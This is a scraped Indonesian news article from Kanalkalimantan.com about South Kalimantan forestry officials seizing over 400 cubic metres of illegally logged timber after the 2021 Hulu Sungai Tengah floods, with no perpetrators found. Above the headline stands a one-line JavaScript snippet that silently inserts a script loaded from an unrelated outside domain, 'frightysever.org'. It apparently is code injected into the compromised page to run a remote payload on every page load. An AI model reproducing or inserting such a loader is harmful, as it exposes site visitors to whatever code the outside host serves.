(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
HEADLINE

Jejak Illegal Logging di Kalsel: 400 Kubik Kayu Diamankan, Tapi Para Aktor Masih Bersembunyi


KANALKALIMANTAN.COM, BANJARBARU – Bencana banjir di Kalimantan Selatan pada Januari lalu, memunculkan sejumlah fakta adanya kasus pengerusakan lingkungan. Di Kabupaten Hulu Sungai Tengah (HST), sebagai wilayah paling parah terdampak, menyimpan fakta sejumlah kasus praktek illegal logging di kawasan hutan.

Illegal logging atau pembalakan hutan diklaim pemerintah sebagai salah satu biang terjadinya banjir yang menelan hampir seluruh daratan di HST. Meskipun, selama ini penyebab yang kerap digaungkan ialah tingginya intensitas curah hujan hingga meluapnya Sungai Barito. Juga selain akibat masifnya aktivitas tambang.

Kasus illegal logging pertama terungkap saat Pemkab HST bersama Dinas Kehutanan (Dishut) Provinsi Kalsel, menemukan tumpukan hasil aktivitas pembalakan awal Februari lalu. Tumpukan kayu berbagai jenis tersebut tercatat sebanyak 96 potong, dengan volume kurang lebih 5 kubik.

Kepala Bidang Perlindungan dan Konservasi Sumber Daya Alam dan Ekosistem (PKSDAE) Dishut Provinsi Kalsel, Pantja Satata, mengatakan berangkat dari kasus awal itu, pihaknya rutin melakukan giat pemberantasan illegal logging. Hasilnya, pihaknya menemukan temuan yang sama.


“Pekan kemarin kami kembali menemukan tumpukan kayu yang diduga asalnya dari aktivitas ilegal logging. Kali ini lokasinya di Senanyam (Kabupaten Kotabaru, -red),” ujarnya, Kamis (25/2/2021) siang.

Adapun dari kasus temuan baru itu, Pantja mengungkapkan tumpukan tersebut ialah kayu limbah campuran, dengan total jumlahnya mencapai 1 kubik. “Sudah kita amankan. Hari ini kita akan melakukan giat di HST, karena di sana menjadi fokus perhatian kita untuk memberantas illegal logging,” bebernya.

Dishut Kalsel melalui bidang PKSDAE mencatatkan temuan kasus illegal logging sebanyak 3 kasus, sejak mengawali tahun ini. Sayangnya, dari seluruh kasus tersebut petugas belum berhasil menemukan satupun aktor yang bermain dalam bisnis perdagangan kayu tersebut.

“Total temuan kayu hasil illegal logging sampai saat jni, mencapai 400 kubik lebih. Kita belum berhasil menemukan para pemiliknya. Tapi informasi yang kita dapat, kayu-kayu ini seluruhnya akan dibawa ke Batu Licin,” tuntas Pantja. (Kanalkalimantan.com/rico)

 

Reporter : Rico
Editor : Cell

 


Al Ghifari

Recent Posts

Rakerda KNPI Banjarbaru, Rekomendasi Pendirian Gedung Pemuda

KANALKALIMANTAN.COM, BANJARBARU - Dewan Pengurus Daerah (DPD) Komite Nasional Pemuda Indonesia (KNPI) Kota Banjarbaru menggelar… Read More

34 menit ago

Peringati Hari Kartini, PLN Beri Santunan 30 Muslimah Tangguh di Banjarbaru

KANALKALIMANTAN.COM, BANJARBARU - Semangat memperingati Hari Kartini 2024, PT PLN (Persero) Unit Induk Penyaluran dan… Read More

3 jam ago

Konser Malam Pestaforia Kapuas 2024

KANALKALIMANTAN.COM, KUALA KAPUAS – “Konser Malam Pestaforia Kapuas 2024” menyemarakan Hari Jadi ke-218 Kota Kuala… Read More

4 jam ago

Waket I DPRD Kapuas Apresiasi Pawai Budaya

KANALKALIMANTAN.COM, KUALA KAPUAS - Wakil Ketua I DPRD Kabupaten Kapuas Yohanes sangat mengapresiasi kegiatan pawai… Read More

4 jam ago

Kafilah HSU Paling Awal Tampil saat Pawai Ta’aruf MTQ

KANALKALIMANTAN.COM, RANTAU - Kafilah Hulu Sungai Utara (HSU) menjadi pembuka dalam parade Pawai Ta'aruf Musabaqah… Read More

4 jam ago

Pj Bupati HSU Hadiri Pembukaan MTQN XXXV Kalsel di Tapin

KANALKALIMANTAN.COM, RANTAU - Penjabat (Pj) Bupati Hulu Sungai Utara (HSU) melambaikan tangan memberikan semangat untuk… Read More

6 jam ago

This website uses cookies.